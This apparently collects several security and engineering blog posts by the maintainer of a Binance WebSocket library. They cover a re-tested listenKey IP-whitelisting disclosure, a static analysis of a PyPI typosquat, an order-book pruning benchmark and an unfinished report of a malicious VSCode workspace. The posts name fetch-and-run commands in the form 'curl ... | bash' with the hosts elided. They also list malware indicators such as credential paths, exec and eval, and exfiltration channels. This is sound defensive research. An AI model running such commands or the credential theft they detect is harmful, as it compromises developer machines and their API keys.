Not because I enjoy re-litigating old reports.

Because the last thirteen days made the threat model painfully concrete.

I found or stumbled into fake GitHub repositories, a broader nailproxy.space malware campaign, a StealC-linked delivery chain, a fake job interview abusing VSCode workspace trust, and a PyPI typosquat targeting my Binance WebSocket library.

Different cases. Same direction.

Attackers are trying to get code executed exactly where API keys live: developer machines, bot servers, CI jobs, dependency trees, IDE workspaces, and trading infrastructure.

That matters because I reported a Binance API trust-boundary issue around IP whitelisting and listenKey in December 2024.

So I went back and re-tested it.

The result surprised me.

The vulnerability appears to be fixed.

That is good.

Really good.

But the way we got here is not good.

Because the same issue was previously rejected as “Social Engineering,” marked “Not Applicable,” not rewarded, not acknowledged — and now the behavior I reported is gone.

The finding was not rewardable enough to acknowledge.

But apparently it was technical enough to fix.

That is the part I cannot ignore.

The original issue

Binance API keys can be restricted to specific IP addresses.

That creates a strong security expectation:

Even if credentials leak, they should be useless outside the trusted IP range.

That is the point of IP whitelisting.

But the old listenKey model for private user data streams did not follow that boundary consistently.

A listenKey could be created from a whitelisted system using only the API key — no API secret, no request signature, no proof of possession.

The resulting listenKey could then be used from outside the configured IP whitelist to consume private user data streams.

No trading permission.

No withdrawal permission.

No direct account takeover.

But full real-time visibility into sensitive account activity:

• balances

• orders

• executions

• positions

• liquidation-relevant state

• timing

• strategy behavior

For automated trading systems, that is not harmless data.

In trading, visibility is value.

Open orders are value. Positions are value. Execution timing is value. Strategy behavior is value.

A system that exposes that data outside the configured IP boundary leaks more than most users realize.

The rule should be simple:

A derived credential must not be more portable than the credential that created it.

That was the issue.

Why “Social Engineering” was the wrong answer

The report was not about someone tricking a user into handing over a token.

It was about an architectural boundary mismatch.

Bugcrowd / Binance treated the attack scenario as requiring Social Engineering.

I disagreed then.

I disagree now.

Because the relevant attack path was never:

Please send me your listenKey.

The relevant attack path was:

Trusted code running in a whitelisted environment can create or exfiltrate a listenKey, and the attacker can consume it outside that environment.

That is how supply-chain compromise works.

A malicious dependency does not ask nicely.

A compromised bot does not ask the user to forward a token.

An infected package does not need a phishing form.

A malicious IDE workspace does not need the user to understand what it runs.

It executes in the place the user already trusts.

That is exactly why IP whitelisting exists.

And that is exactly why derived stream credentials should inherit the same boundary.

The old proof was real

This was not only an argument.

I had proof.

The original Bugcrowd reports included scripts and video material demonstrating the flow. Later, I also published the public case study:

When IP Whitelisting Isn't What It Seems: A Real-World Case Study from the Binance API

I also have an old video from November 26, 2025 demonstrating that the issue was still reproducible at that time:

https://www.youtube.com/watch?v=y9dGtHLEBp8

That video has about 30 views.

Which is funny in a bitter way.

Because the finding was not subtle.

The user expectation around IP whitelisting was clear. The architectural mismatch was clear. The supply-chain threat model was clear.

The recommended fix was also clear:

• enforce the same IP restrictions on listenKey as on the original API key

• require proof of possession of the API secret when issuing a stream credential

• treat stream credentials as sensitive account credentials, not harmless session strings

That was the whole point.

Why I re-tested it now

The last thirteen days changed the context.

I documented or found:

• fake GitHub repositories impersonating my Binance tooling

• a broader malware campaign using open-source project names as lures

• a StealC-linked delivery chain

• a fake job interview abusing developer-tool trust

• a PyPI package squat around my Binance WebSocket library

Those are not theoretical attack paths.

They target exactly the environments where API credentials live.

That was my point in 2024.

It is even more obvious in 2026.

Supply-chain attacks do not require the user to forward a token.

They require trusted code to run in a trusted place.

That is the whole problem.

So I re-tested the current state on May 5, 2026.

The re-test setup

The test used one Binance API key with full permissions except withdrawals.

The key was restricted to one specific Telekom Austria IPv4 address.

I tested two source-IP states:

• a whitelisted Telekom Austria home IPv4

• non-whitelisted Mullvad WireGuard exits

The probes were pure REST POST calls to the relevant listenKey endpoints using only the X-MBX-APIKEY header.

No trades.

No signed actions for the listenKey probes.

No account interaction beyond testing whether the stream credential could be created.

The API key was handled via environment variable, redacted in logs, and rotated after the test.

What I found

Short version:

Binance fixed it.

More precisely:

Spot and Margin did not merely start enforcing the old model.

They moved away from it.

Futures still has listenKey, but the old bypass no longer reproduced.

From the whitelisted IP:

POST /fapi/v1/listenKey  -> 200 OK
POST /dapi/v1/listenKey  -> 200 OK

From a non-whitelisted Mullvad IP:

POST /fapi/v1/listenKey  -> 401 / -2015
POST /dapi/v1/listenKey  -> 401 / -2015

The error message included the live request IP.

That matters.

It strongly suggests Binance is now checking the request source IP against the API key whitelist for the Futures listenKey endpoints, just as it does for signed private endpoints.

I also cross-checked that this was not simply Binance blocking Mullvad.

Public no-auth Futures endpoints worked from the same Mullvad exit.

Signed private endpoints failed with the same -2015 IP-whitelist error.

Changing the Mullvad exit changed the reflected request IP in the error message.

That is exactly what enforced IP whitelisting looks like.

The lifecycle details are interesting

Spot now returns:

410 Gone

for the old Spot user data stream endpoint.

That is a deliberate lifecycle signal.

It means: this endpoint used to exist, and it is gone.

Margin behaves differently.

Cross-Margin and Isolated-Margin returned generic 404 Not Found responses through the sapi routing layer.

So Binance appears to have retired Spot more explicitly, while Margin was simply removed from routing.

That is not the central issue, but it is interesting.

The final state is still good for users:

• Spot: retired

• Margin: retired

• Futures: live but now IP-enforced

From a security perspective, that is a real improvement.

The bug is gone. The process is the story now.

I want to be very clear:

I am glad this is fixed.

Users are safer now.

That matters.

If a compromised API key can no longer be used from an arbitrary IP to obtain a Futures listenKey, that is good.

If Spot and Margin moved away from the old model entirely, that is good.

If Binance quietly closed a trust-boundary gap, that is good.

But it does not erase the disclosure problem.

Because the report was not accepted as a valid security issue.

It was closed as Not Applicable.

It was repeatedly framed as Social Engineering.

And now the behavior it described is gone.

That is the uncomfortable part.

The finding was not rewardable enough to acknowledge.

But apparently it was technical enough to fix.

The process punished persistence

Responsible disclosure is not only about bugs.

It is about incentives.

If a researcher reports a real architectural issue, provides proof, explains supply-chain impact, provides real-world examples, and the issue later disappears from production, then the process should be able to say:

Yes, this was useful.

It does not always need to mean a big bounty.

It does not always need to mean a CVE.

It does not always need to mean a public incident report.

But it should not result in:

• rejection as Not Applicable

• repeated misclassification

• no acknowledgement

• no reward

• no clear public fix note

• no correction of the original assessment

• procedural pressure against further review requests

There is another part of this that should not be softened.

After I pushed back and asked for a proper review, the response did not become more technical.

It became more procedural.

I was warned that further response requests without “additional information” could affect my accuracy score or even my ability to create response requests.

That matters.

Because I was not submitting vague noise.

I had provided a reproducible issue, PoC material, real-world leakage examples, supply-chain scenarios, and a clear explanation of why this was not Social Engineering.

And now the behavior I reported appears to be gone.

That is not just disappointing.

That is a broken incentive structure.

A disclosure process should not make the researcher feel like the risky action is continuing to explain the bug.

Why this matters

The people most likely to find architectural issues are often the people who live inside the ecosystem:

• maintainers

• infrastructure developers

• SDK authors

• bot developers

• API integrators

• security engineers

• power users

Those people are not scanning random forms for easy XSS.

They understand the system because they build around it every day.

If they stop trusting the disclosure process, the platform loses an early-warning system.

And that is exactly the wrong outcome.

Especially for ecosystems where automated trading, API credentials, third-party libraries, and supply-chain risk are tightly connected.

What I want from Binance

I do not want to pretend the fix does not matter.

It does.

I also do not want to pretend the process was acceptable.

It was not.

A fair outcome would have been simple:

• acknowledge the trust-boundary question

• confirm reproducibility

• classify the finding honestly

• explain product-line limitations if legacy compatibility made fixing hard

• give a clear fix timeline or documentation note

• recognize the report, even if no bounty was paid

That would already have been enough.

Instead, the public result is this:

A reported architectural issue was rejected as Social Engineering.

The same architectural behavior is now gone.

And the person who reported it had to discover that by re-testing it independently.

That is not how a healthy disclosure process should feel.

To be clear: I still like Binance.

I build and maintain open source infrastructure for the Binance ecosystem because I think the ecosystem matters.

Binance has built useful APIs.

The developer community around those APIs is real.

A lot of people depend on this infrastructure.

That is exactly why I care.

This is not about hating Binance.

It is about expecting better from a platform that sits at the center of a large automated-trading ecosystem.

The uncomfortable conclusion

I started this follow-up expecting to show that the old issue was still open.

That would have been easy.

Instead, I found something more interesting.

The bug appears to be gone.

The security boundary is better now.

Users are safer.

Good.

But the disclosure process still failed.

The last thirteen days made the original threat model practical.

The May 5 re-test showed that Binance has apparently moved in the direction the report argued for.

Those two facts belong together.

The technical fix deserves credit.

The process deserves criticism.

Because responsible disclosure should not work like this:

Report the issue.

Get told it is not an issue.

Watch it silently get fixed.

Receive no acknowledgement.

That is not sustainable.

And it is not fair.

The technical system got safer.

The disclosure process did not.

That should worry every platform that depends on external researchers.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

unicorn-binance-websocket-api-onion

I do not maintain this package.

There is no official Tor, onion, proxy, or privacy-focused variant of UNICORN Binance WebSocket API.

The official package is:

unicorn-binance-websocket-api

At first glance, the -onion suffix looks plausible enough to be mistaken for a legitimate variant.

That is exactly the problem.

And there is another reason this caught my attention immediately:

the same PyPI account, onionj, also maintains pybotnet, a package whose own description presents it as a framework for building remote control, botnet, trojan, or backdoor functionality.

So this was not just a random suffix collision.

It was a plausible package-name squat around my Binance trading library, published by an account that also publishes remote-control / botnet tooling, while keeping old LUCIT author metadata that makes the package look more official than it is.

I analyzed the package statically.

The version I reviewed does not contain malware. No obvious payload. No stage-2 download. No exec. No eval. No base64-decoded loader. No hidden exfiltration logic.

It is basically a near-identical fork of my upstream 1.46.2 release.

And I am reporting it anyway.

Because a clean typosquat can still be a supply-chain problem.

Why I looked at it

I started checking project-name collisions around the UNICORN Binance Suite more actively after the recent nailproxy.space GitHub impersonation campaign.

That campaign abused recognizable open source project names, including mine, to lure developers into running malicious code.

I also published a separate security warning about a fraudulent GitHub repository impersonating UNICORN Binance WebSocket API.

That one was already weaponized.

This PyPI case is different.

It is not a live malware dropper.

But it belongs to the same family of supply-chain hygiene problems:

someone is using a recognizable project name to put adversary-controlled code into a developer package index.

That alone is enough reason to look closely.

The package

The package I analyzed:

The declared author is the first obvious problem.

LUCIT Systems and Development <info@lucit.tech> is historical metadata from my own project. It is not the uploader’s identity. It makes the package look official at first glance.

It is not.

PyPI itself shows onionj as the maintainer of this project, while the unverified metadata still lists LUCIT Systems and Development as the author and keeps multiple old LUCIT / UNICORN Binance WebSocket API project links.

The declared homepage also points to:

https://github.com/onionj/unicorn-binance-websocket-api

At the time of review, that URL returned 404 Not Found.

So the project page says, in effect:

• maintained by onionj,

• authored by LUCIT Systems and Development,

• linked to an unavailable GitHub repository,

• packaged under a plausible -onion suffix,

• and installed into the official import namespace.

That is exactly the kind of metadata confusion that package-name squats benefit from.

Recent download footprint

Recent PyPI / Linehaul download stats at the time of review:

The squat is still small.

That is the entire reason this is worth catching now.

There is no large installed userbase yet to harm.

Methodology

I treated the package as hostile until proven otherwise.

I did not run it.

I did not install it.

I did not import it.

I only downloaded the artifacts and inspected them passively:

curl -sS -o pkg.whl  https://files.pythonhosted.org/packages/.../*.whl
curl -sS -o pkg.tar.gz https://files.pythonhosted.org/packages/.../*.tar.gz
sha256sum pkg.whl pkg.tar.gz

python3 -m zipfile -l pkg.whl
tar -tzf pkg.tar.gz

python3 -m zipfile -e pkg.whl extracted/whl/
tar -xzf pkg.tar.gz -C extracted/
chmod -R a-x extracted/

Then I compared the contents against my official upstream 1.46.2 tag.

That is enough to answer the important question:

what code would a user get if they installed this package?

What is inside

The package installs into the same Python import namespace as the official package:

unicorn_binance_websocket_api/

That means a user can run:

pip install unicorn-binance-websocket-api-onion

and then write:

import unicorn_binance_websocket_api

At the import-path level, the -onion suffix disappears.

That is not a small detail.

The distribution name is different, but the Python module name is the same. This makes the package a drop-in shadow of the official one.

If a future version becomes malicious, the import statement would not reveal anything unusual.

The diff

The package is almost byte-identical to my official 1.46.2 release.

Most files are unchanged.

The relevant difference in manager.py is only this:

@@ -229,7 +229,7 @@
                  socks5_proxy_pass: Optional[str] = None,
                  socks5_proxy_ssl_verification: Optional[bool] = True,):
         threading.Thread.__init__(self)
-        self.name = "unicorn-binance-websocket-api"
+        self.name = "unicorn-binance-websocket-api-onion"
         self.version = "1.46.2"

That is the entire functional delta in manager.py: a name string.

The setup.py changes are also minimal:

-     name='unicorn-binance-websocket-api',
+     name='unicorn-binance-websocket-api-onion',

-     url="https://github.com/LUCIT-Systems-and-Development/unicorn-binance-websocket-api",
+     url="https://github.com/onionj/unicorn-binance-websocket-api",

-     install_requires=['colorama', 'requests', 'websocket-client', 'websockets==10.4', 'flask_restful',
+     install_requires=['colorama', 'requests', 'websocket-client', 'websockets>=10.4', 'flask_restful',

So the package was renamed, the project URL was changed, and one dependency pin was loosened.

That last point is easy to overlook, but it matters.

Changing websockets==10.4 to websockets>=10.4 is not a payload. It is not malicious by itself. But it shows that this was not only a blind archive copy. Someone touched the packaging metadata and made a maintenance-style change.

That makes the dormant-package risk more concrete: a package like this can stay clean today, receive small “reasonable” updates, and still remain positioned as a future supply-chain slot.

The author metadata was not changed.

That is the part I do not like.

What I did not find

I searched for the usual static indicators:

• exec(

• eval(

• compile(

• __import__

• base64.b64decode

• marshal.loads

• pickle.loads

• subprocess

• os.system

• os.popen

• suspicious requests.get / requests.post

• Telegram, Discord, webhook, .onion, tor2web

• wallet paths

• browser cookie paths

• SSH or cloud credential paths

• obvious C2 strings

• simple obfuscation patterns

I did not find a malicious payload.

The hits I did find were legitimate pre-existing code from the original project: Binance request signing, GitHub version checks, platform/user-agent handling, and normal library logic.

So the verdict for this version is clear:

unicorn-binance-websocket-api-onion version 1.46.2 is not malware.

That does not make it acceptable.

Why this is still a problem

The short version:

this is a clean package today, but it has the structure of a dormant supply-chain slot.

There are four separate issues here.

1. Identity spoofing

The package claims:

LUCIT Systems and Development <info@lucit.tech>

That identity does not belong to the uploader.

Users looking at package metadata may reasonably believe this is connected to the original project history.

It is not.

That is misleading even if the code is clean.

2. Namespace shadowing

The package name is different, but the import namespace is the same as the official package:

import unicorn_binance_websocket_api

That means the package behaves like a drop-in replacement.

There is no obvious runtime clue that the code came from a suffixed, unofficial distribution.

That is exactly the setup a future malicious update would exploit.

3. The name is plausible

The suffix -onion is not random.

It sounds like it could be a Tor/onion-routing variant.

There are legitimate Python projects and extras around SOCKS, Tor, proxies, and privacy routing. A developer searching for such functionality could plausibly think this package is an official variant.

It is not.

4. The maintainer profile makes the dormant-package risk concrete

This is the part that makes the package more concerning.

The PyPI account onionj maintains exactly two projects at the time of writing:

• unicorn-binance-websocket-api-onion

• pybotnet

That connection is public on the PyPI user profile.

pybotnet describes itself as:

A Python framework for building remote control, botnet, trojan or backdoor with Telegram or other control panels

Its own feature list includes a Telegram control panel, reverse shell, file upload/download, remote Python code execution, screenshots, keylogger functionality, DoS, scheduling, and custom scripts.

I am not claiming that pybotnet is illegal malware.

I am also not claiming that unicorn-binance-websocket-api-onion is malicious in the version I reviewed.

But this combination matters.

The same account that publishes remote-control / botnet / trojan / backdoor tooling also uploaded a near-identical fork of my Binance trading library, under a plausible suffix, into the same import namespace, while keeping historical LUCIT author metadata that makes it look more official than it is.

That is not proof of an active attack.

But it is a very uncomfortable dormant supply-chain setup.

A clean package can still be a staging point:

1. publish a harmless fork,
2. use a plausible name,
3. keep the official import namespace,
4. make small maintenance-looking changes,
5. accumulate a few downloads,
6. wait until it lands in a script, CI job, Dockerfile, or AI-generated install instruction,
7. weaponize a later release.

The right time to remove that setup is before the final step.

Clean does not mean harmless

This is the important part.

Security teams often look for malware.

That makes sense.

But package-index abuse is not always malware on day one.

Sometimes the first step is just occupying a name.

Or copying a brand.

Or shadowing an import namespace.

Or making a package look official enough that one user, one developer, one CI pipeline, or one AI-generated install instruction picks it up.

Once that happens, the uploader does not need to win the whole ecosystem.

They only need one useful installation.

This is why clean typosquats matter.

They are not harmless just because the current artifact has no payload.

They are infrastructure.

How this relates to the GitHub impersonation campaign

The recent GitHub impersonation campaign was different.

That one was already weaponized.

It used fake repositories impersonating known open source projects and delivered malware through a Python dropper.

This PyPI package is not that.

But the trust primitive is the same:

the user relies on a recognizable project name.

On GitHub, that trust was abused through repository impersonation.

On PyPI, it is abused through package-name similarity, metadata spoofing, and import namespace shadowing.

Different vector.

Same weak point.

Developer trust.

Why this matters for Binance developers

UNICORN Binance WebSocket API is used by developers who connect trading systems, bots, dashboards, and infrastructure to Binance.

That makes package identity more sensitive than it may look at first glance.

A malicious package in this space does not need to steal money directly to cause serious damage.

It could steal environment variables.

It could read API keys.

It could exfiltrate account metadata.

It could observe trading infrastructure.

It could tamper with stream handling.

It could simply prepare a developer machine for a second-stage compromise.

This is exactly why I care about these cases early.

A clean squat today can become a dangerous dependency tomorrow.

And when the affected ecosystem is automated trading, “tomorrow” is too late.

Recommendations for users

If you use UNICORN Binance WebSocket API, the official package is:

pip install unicorn-binance-websocket-api

Not:

pip install unicorn-binance-websocket-api-onion

There is no official -onion package.

If you find unicorn-binance-websocket-api-onion in an environment, remove it and replace it with the official distribution.

Also check how it got there.

Look in:

• requirements.txt

• pyproject.toml

• setup.py

• Dockerfiles

• CI workflows

• deployment scripts

• cached virtual environments

• internal package mirrors

For any package, not just mine, check:

• the exact distribution name

• the project URL

• the author metadata

• the upload history

• whether the import namespace matches a different known project

• whether the package has a plausible-but-unofficial suffix like -secure, -pro, -fast, -onion, -tor, -utils, or -plus

These checks take seconds.

They prevent ugly surprises.

Recommendation for PyPI

I am reporting this package.

The removal argument is not that the current artifact contains malware.

The removal argument is:

• misleading project name

• spoofed historical author metadata

• same import namespace as the official package

• no legitimate reason to exist under this naming pattern

• concrete dormant-package risk

The installed footprint appears to be small.

That makes now the right time to remove it.

Removing a dormant squat before it is used is much less disruptive than removing a weaponized package after it has landed in production environments.

Recommendation for maintainers

Run name-collision sweeps for your own projects.

Search PyPI for your package names plus common suffixes:

-onion
-tor
-secure
-pro
-fast
-utils
-plus
-client
-api

If something looks suspicious:

1. Download the artifacts.

2. Do not install them.

3. Do not import them.

4. Inspect the wheel and sdist statically.

5. Compare against your own release.

6. Record hashes.

7. Check metadata.

8. Report with a concise technical summary.

You do not need a huge malware lab for this kind of first-pass triage.

A clean diff, hashes, and a clear explanation are already useful.

Closing note

The interesting thing about this case is not the malware.

There is none in the version I reviewed.

The interesting thing is the setup:

a spoofed brand, a plausible suffix, the official import namespace, old author metadata, and a maintainer profile that makes the dormant slot uncomfortable.

That is enough.

A supply-chain attack does not start when the payload executes.

It often starts earlier, when trust is quietly acquired.

That is why I am reporting this package now.

Not because it is malware today.

Because it should not be allowed to become useful tomorrow.

I hope you found this informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

Not “a little bit noisy”. Not “slightly delayed”. Wrong in the way that only shows up when you stop looking at best bid / best ask and audit the whole local book.

After a single quiet day on BTCUSDT, my naive no-retention DepthCache ended up with only 24.09% matching bid levels and 39.82% matching ask levels. Most of the local book had turned into ghosts: price levels still present locally, but no longer present in a fresh REST snapshot.

I have known about this class of problem for years. So have other people who have shipped trading systems against Binance. Most of us learned it the hard way, patched our own systems, and moved on.

I already wrote up the mechanism in Your Binance Order Book Is Wrong — Here's Why. That article explains the bug class. This one is the forensic benchmark: the same problem measured over 25 hours with a naive implementation and a pruned implementation running side by side.

This time I wanted numbers.

So I ran two DepthCaches side by side for 25 hours, fed by the same WebSocket stream, audited hourly against fresh REST snapshots, and plotted the decay in 3D.

Here is the proof.

What a DepthCache is, and what the Binance docs say

A DepthCache (DC) is a local mirror of the order book. You keep bids and asks per price level in memory and update them from the exchange stream, so your strategy does not need to hit REST every time it wants to know where the book currently is.

Binance documents how to manage a local Spot order book. The current guide is better than many older code examples floating around: it uses a REST snapshot with limit=5000, explains how to align buffered WebSocket events with lastUpdateId, and explicitly documents update-ID continuity checks.

Short version of the official flow:

1. Open a WebSocket to <symbol>@depth.

2. Buffer events.

3. Fetch GET /api/v3/depth?symbol=...&limit=5000.

4. Align buffered events with the snapshot's lastUpdateId.

5. Apply updates in order.

6. If an event proves you missed updates, discard the local book and restart from a fresh snapshot.

7. For every streamed price level, set the new quantity; if quantity is zero, remove the level.

The important part is not what Binance gets right here. The guide does document update continuity. It also warns that because REST snapshots are limited to 5000 levels per side, you will not know quantities for levels outside the initial snapshot unless those levels change, and that those levels may not reflect the full view of the order book.

That warning is the key.

The guide tells you how to synchronize and how to apply events. It does not define a retention policy for a bounded local cache. It does not say what your local book's maximum depth should be after hours of streamed updates. It does not say when to evict levels that entered through the stream but are no longer inside the view you can validate.

That missing retention rule is where the rot starts.

What the stream actually does

The depth stream does not care about the conceptual depth corridor your local application wants to maintain.

In practice, it can send updates for levels far away from the current mid price: ladders placed and pulled 2% away from mid, deep ask-side repricing, limit orders parked far away in case of a flash move, and other book activity that your local cache may not have a stable baseline for.

A naive DC applies those updates anyway.

It sees a price level. It inserts it. The normal update procedure removes that level only if a later qty=0 arrives for the same price. Sometimes that cleanup event never arrives in a way your local cache can rely on. The level may have been cancelled, replaced, moved, or simply fallen out of the region that your local implementation still validates.

So it stays.

And then the next one stays.

And the next one.

After a few hours, your local order book is no longer a bounded view of the exchange book. It is a growing collection of historical levels.

I once discussed this exact class of problem with a Binance engineer in Telegram. The takeaway was clear: production systems cannot stop at basic synchronization; they need their own pruning, gap handling, and resync logic.

This is not a new class of problem. A public Binance depth-cache note from 2017 already described the same operational issue: if the order book shifts far enough from the snapshot, a local book can miss levels, and the implementation has to track that shift and resync.

Historical Binance Depth Cache Notes

This eventually became a tracked issue while I was debugging drift in my own UNICORN Binance Local Depth Cache implementation:

https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache/issues/45

But a known issue is not the same as a measured failure mode.

So I measured it.

The setup

I ran two DepthCaches. Same symbol, same stream, same audit schedule.

Only one thing changed.

• naive — insert streamed levels, update quantities, remove only on qty=0, no active pruning / retention policy.

• fixed — same initialization and update logic, but with active pruning back to the top-1000 levels per side after applied updates.

This benchmark uses a top-1000 target corridor on purpose. That makes the experiment smaller, faster to inspect, and more brutal in the charts. It is not claiming that Binance's current documentation says to initialize with limit=1000; the current guide says limit=5000.

The tested failure mode is more specific and more important:

What happens when a local order book inserts streamed price levels but does not enforce an active retention boundary?

A larger initial snapshot gives you a wider starting view. It does not by itself define what to do with streamed levels after the local book has been running for hours. Without a retention policy, the same class of stale-level accumulation still exists — just with a wider corridor and a different time profile.

The fixed variant is intentionally minimal. It does not include full UBLDC behavior. UBLDC also does update-ID gap detection and full resync on protocol violations. Binance documents that continuity check, and production code should implement it. I left it out of fixed deliberately, because this experiment isolates one variable only: pruning.

Both DCs were fed by the same WebSocket subscription via UBWA: one stream, two consumers.

Both were audited against the same REST snapshots at the same timestamps.

So any difference between naive and fixed comes from the retention strategy, not from feed drift.

The audit ran once per hour, with one extra audit immediately after initial sync and another after five minutes. Each audit fetched a fresh REST snapshot with limit=5000 and classified every local price level as one of:

• match — level exists in REST and local cache, quantity is equal

• drift — level exists in both, but quantity differs

• orphaned — level exists locally, but not in REST ← the important one

• missed — level exists in REST, but not locally

The limit=5000 audit snapshot is deliberate. It checks whether a locally orphaned level is still alive deeper in REST's view, or whether it is stale relative to Binance's largest public REST snapshot.

One important methodology note: missed will show roughly 4000 levels per side for both variants. That is expected. REST returns 5000 levels, but both DCs only claim to maintain a top-1000 corridor. Those 4000 are not the failure.

The health metric that matters here is:

How much of the local cache still matches REST?

Results

The run lasted 25.10 hours on BTCUSDT, from 2026-04-28 08:51 to 2026-04-29 10:18 Europe/Vienna time.

BTC was calm during the window: total mid-price range was only 1.88%, with no flash event.

That matters. A quiet market is the easy case. More movement means more old levels falling out of the active region and more stale levels accumulating. So these numbers are not worst-case. They are probably closer to a lower bound for this no-retention pattern.

The headline chart

Open interactive chart: comparison.html

Final numbers

The naive DC starts almost perfect. At t=0 it has 99.6% bid match.

Then it rots.

For the first six hours, the decay is roughly linear. After that, it plateaus with only about a quarter to a third of bid-side local levels still matching REST.

The fixed DC stays in the 75-97% match range over the full run. The lower bound around audit #15, #20, and #24 corresponds exactly to audits taken right after WebSocket reconnects; the run log confirms reconnect events at those audit timestamps.

There were 10 reconnects total, all auto-recovered by UBWA, but each reconnect can leave a small update-ID gap. Pruning cannot repair that. Gap detection and resync can.

That is exactly why production-grade DC logic needs both:

• pruning, to prevent stale levels from accumulating

• gap detection and resync, to recover from broken update continuity

The 3D scatter

The 3D plots make the failure obvious.

Open interactive 3D chart: report_naive.html
Warning: large Plotly file, about 78 MB.

Open interactive 3D chart: report_fixed.html
Warning: large Plotly file, about 41 MB.

In the naive plot, the red orphaned tail is the story.

It is not random noise. It forms a coherent ribbon of dead levels trailing the mid price. As the market moves, levels that were once near the active book fall out of the bounded view. The naive cache never evicts them.

So they become ghosts.

The fixed plot is what a bounded local book should look like. The remaining orange and red points near the top of book are explainable by audit-time race conditions and reconnect gaps. Those are separate, known problems. They are not evidence against pruning.

The forensic plots

For anyone tempted to call this measurement error, the forensic plots tell the same story from different angles.

Distance of orphaned levels from mid: orphaned levels cluster around ±0.5-2% from the mid price. They are shaped by market movement. The tails get fatter audit by audit because old levels accumulate.

Open interactive chart: distance_naive.html

Age of orphaned levels: for every orphaned level in the final audit, I checked all 27 archived REST snapshots and asked when REST last contained that price.

The result is bimodal:

• a smaller group of recently rotted levels, last seen 1-5 hours ago

• a huge spike at “never seen”

That second group is important. These levels arrived through the diff stream, but were never present in any archived REST limit=5000 snapshot. They entered the local cache from outside the audited REST corridor and then stayed there as dead weight.

Open interactive chart: age_naive.html

Volatility correlation: per-hour growth in orphaned levels correlates with per-hour absolute mid-price movement. More movement, more rot.

The biggest single-window mid move in this run was only 0.07%. Even that modest move produced a visible orphaned-level jump. On a flash-down or high-volatility day, this would look much worse.

Open interactive chart: volatility_naive.html

Why it happens, in one paragraph

The REST snapshot gives you a bounded initial view. The diff stream can then deliver updates for price levels outside the view your application intends to maintain. The documented update procedure tells you how to apply those updates and how to detect broken update continuity, but it does not define a long-running retention policy for a bounded local cache. So a naive implementation inserts levels it cannot reliably validate later, and keeps them until it happens to receive a cleanup update. There is no safe operational guarantee that this will happen for every deep level before the local book becomes polluted. Over time, the cache accumulates orphaned price levels. After 25 quiet hours, the naive DC contains tens of thousands of stale levels and no longer resembles Binance's largest public REST snapshot outside the very top of book.

What to do

There are three sane options.

1. Use something that explicitly handles this.

UBLDC (UNICORN Binance Local Depth Cache) does bounded book maintenance, stale-level pruning, update-ID gap detection, and full resync on protocol violations. Yes, I work on it, so I am biased. But the real point is broader:

Do not trust a DepthCache implementation just because it can follow the Binance synchronization steps.

Trust it only if it can explain these things:

• What is the maximum local depth per side after 24 hours?

• Which levels are allowed to stay in memory?

• When are stale levels evicted?

• How is update-ID continuity verified?

• What happens after a WebSocket reconnect?

• When is the local book discarded and rebuilt?

If your library or internal implementation cannot answer those questions, it is probably not production-safe.

2. Roll your own with active pruning.

If you have a reason to maintain your own DC code, the minimum additional logic is active pruning back to the depth corridor you can actually validate.

# After applied updates:
if len(bids) > top_n:
    keep = sorted(bids.keys(), reverse=True)[:top_n]
    bids = {p: bids[p] for p in keep}

if len(asks) > top_n:
    keep = sorted(asks.keys())[:top_n]
    asks = {p: asks[p] for p in keep}

In production, you would usually prune with a small tolerance window instead of sorting on every single update. The invariant is the same: the local book must not be allowed to grow beyond the depth corridor you can actually validate.

That alone took this experiment from a rotting book — roughly 24% bid match and 40% ask match — to a much healthier 88% bid match and 92% ask match.

It is not a micro-optimization. It is correctness logic.

3. Detect gaps and resync.

Pruning fixes stale-level accumulation. It does not fix broken update continuity.

Each diff event has U and u fields. Binance documents that if an event's first update ID is greater than your local update ID + 1, you missed events and must discard the local order book and restart from the beginning.

That can happen during WebSocket reconnects, server-side hiccups, local buffering problems, network loss, or payload backpressure.

When it happens, do not “continue carefully”. Discard the local book and reinitialize from a fresh REST snapshot.

The 10 reconnects during this run are visible in the fixed variant as small match% dips. They are not solved by pruning. They are solved by gap detection plus resync.

A production DepthCache needs both.

Reproducibility

The supplementary material index is here:

https://oliver-zehentleitner.github.io/binance-depthcache-forensics

The public GitHub repository is here:

• github.com/oliver-zehentleitner/binance-depthcache-forensics

It tracks the GitHub Pages index, interactive chart links, raw audit data, and benchmark context.

The whole experiment is about 600 lines of Python (dc.py, audit.py, plotter.py, run.py, analysis.py) plus the unicorn-binance-websocket-api dependency and Plotly.

The raw data is available here:

https://oliver-zehentleitner.github.io/binance-depthcache-forensics/raw_data.tar.gz

It contains the audit JSON files, archived REST snapshots, and run logs. If you want to verify a number from this article, it is in there.

Supporting charts are also available:

• counts_naive.html

• counts_fixed.html

• volatility_fixed.html

Related reading

If you want the shorter conceptual version before the benchmark, start here:

• Your Binance Order Book Is Wrong — Here's Why

That article explains the failure mode. This article proves how fast and how far it accumulates in a real run when no active retention policy is enforced.

Final note

If you currently run a trading strategy against a DepthCache you wrote yourself, dump it and compare it against a fresh REST snapshot.

Not the best bid.

Not the first ten levels.

The whole local book.

You may not like what you find.

I hope you found this informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

2026-04-29 — A fake recruiter tried to walk me into opening a malicious VSCode workspace.
I refused, preserved the artifacts, mapped the infrastructure, and submitted the IOCs to public threat-intel feeds.

TL;DR

Today I was invited to what looked like a normal Google Meet job interview.

The recruiter asked me to review a Web3 poker/casino repository and open it in VSCode.

I did not.

Instead, I inspected the repository in the browser first and found a malicious .vscode/tasks.json file.

The repository was configured to execute shell commands automatically when the folder is opened in VSCode after Workspace Trust is granted:

• Linux: wget ... | sh

• macOS: curl ... | bash

• Windows: curl ... | cmd

The commands were visually hidden by pushing the "command" field more than 200 columns to the right with whitespace padding.

The payloads were hosted on rotating Vercel subdomains under /api/settings/{linux,mac,windows}.

Further analysis showed a second execution path through npm install, a BeaverTail-style Node.js RCE/exfil chain hidden behind a base64-encoded .env value, and infrastructure rotating across at least 16 Vercel-hosted projects since January 2026.

I submitted the indicators and infrastructure reports to:

